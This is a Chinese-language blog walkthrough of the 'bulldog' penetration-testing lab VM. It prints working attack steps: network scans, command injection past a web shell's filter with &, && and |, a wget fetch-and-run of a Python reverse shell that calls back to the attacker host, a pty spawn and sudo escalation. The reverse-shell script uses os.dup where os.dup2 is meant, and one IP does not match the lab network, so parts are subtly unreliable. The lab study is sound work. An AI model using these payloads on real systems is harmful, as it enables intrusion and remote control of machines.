SwanQ's Blue SKY

TO LIVE IS TO RISK IT ALL

0%

渗透测试之bulldog

前言

今日突然冒出渗透靶机的想法,突然一看,前人早已栽好了树。

每日分享:原来在孩提时期就已经看过余华的活着,只是当时读懂活着的人不是我。

小狗拼命的想叫醒他的同伴,可他还不知道同伴可能再也醒不过来了

每天都有人跟你一样在注视着生活中的点滴

最后献上红楼的一句箴言:假亦真时真亦假,无为有处有还无

不知道既喜欢红楼又喜欢昆曲,把后半辈子都献给教授外国人红楼梦的他,心境又是如何呢

人生本来就是尝试的过程,正确与否在你以为

也罢,继续写博客辽

0x01 资产收集

靶机:Ubuntu16.04:192.168.127.134

攻击机:kali 2021.1:192.168.127.133

愣是想不起来这个命令叫啥:lsb_release -a

1
2
3
4
5
6
7
8
9
# 主机发现
# ping scan
nmap -sn 192.168.127.0/24

# 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.127.134

# 探究端口服务
nmap -sV -T4 -O -p 23,80,8080 192.168.127.134

可以看到python版本

1
2
# 扫描子域名
dirb http://192.168.127.134

去康康admin和dev分别是什么服务。访问admin会看到无验证码的登陆界面,而dev必须登陆之后才可以看到。

dev页面有多个邮箱,去康康dev的源码,可能会md5加密的密码存储,一看还真有。解密之后尝试登陆admin页面,发现后两个账号可以登陆进去。不过账号是邮箱的前面,也就是姓名,登陆进去之后,发现dev界面的web shell也有了权限。其实这个界面类似于拿到一台被限制命令白名单的机子。尝试绕过吧。

0x02 漏洞检测

远程命令执行漏洞检测

使用;同时执行多个命令,被过滤;

使用**&,&&,|**同时执行多个命令,成功。

查看敏感目录,发现3个用户:

0x03 漏洞利用

试试反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 在kali的/var/html/www目录下,搭建web服务
python -m SimpleHTTPServer 80
# 攻击机监听1234端口
nc -lvnp 1234

# 靶机执行wget命令尝试连接
pwd & wget http://192.168.127.133

# 靶机下载shell文件
ls & wget http://192.168.56.133/shell.py
# 靶机执行shell
ls & python shell.py
# 靶机删除shell
ls & rm -rf shell.py

其中反弹shell脚本shell.py内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import socket
import subprocess

# create an INET, STREAMing socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# now connect to the web server on port 1234
s.connect(("192.168.127.133", 1234))
os.dup(s.fileno(), 0)
os.dup(s.fileno(), 1)
os.dup(s.fileno(), 2)
p = subprocess.call(["/bin/bash", '-i'])

进入home,查看其他用户:bulldogadmin django

进入bulldogadmin,查看所有文件,此时还是ls -la找到隐藏目录.hiddenadmindirectory。找到可执行文件customPermissionApp。strings查看其中字符

猜测密码SUPERultimatePASSWORDyouCANTget。不过此处H到底代表什么暂时还不清楚。

0x04 提权/后门维持

此时无法提权,需要打开新终端

1
2
3
4
# 打开新终端
python -c 'import pty; pty.spawn("/bin/bash")'
# 提权
sudo -i

0x05 总结

  1. 习惯查看网页源码以及查看bash下所有文件ls -la

  2. && & |的妙用

  3. 当cat查看某些文件出现乱码时,可以考虑用strings

  4. 一般反弹的shell不如终端,一般拿到后都先用python弹一个终端出来

    1
    2
    python -c "import pty; pty.spawn("/bin/bash")"
    sudo -i
  5. 反弹shell过程

  6. 知识点总结:

    • Python -m :mod,run library module as a script

    • SimpleHTTPServe:use Python SimpleHTTPServer to turn any directory into a simple HTTP web server.

    • python http服务器运行在80端口

    • nmap -sn:ping scan

    • masscan –rate=10000 –ports 0-65535 192.168.127.134:

      –rate=10000 意思是10kpps(packet per second),每秒一万个数据包

    • wget:非交互式网络文件下载工具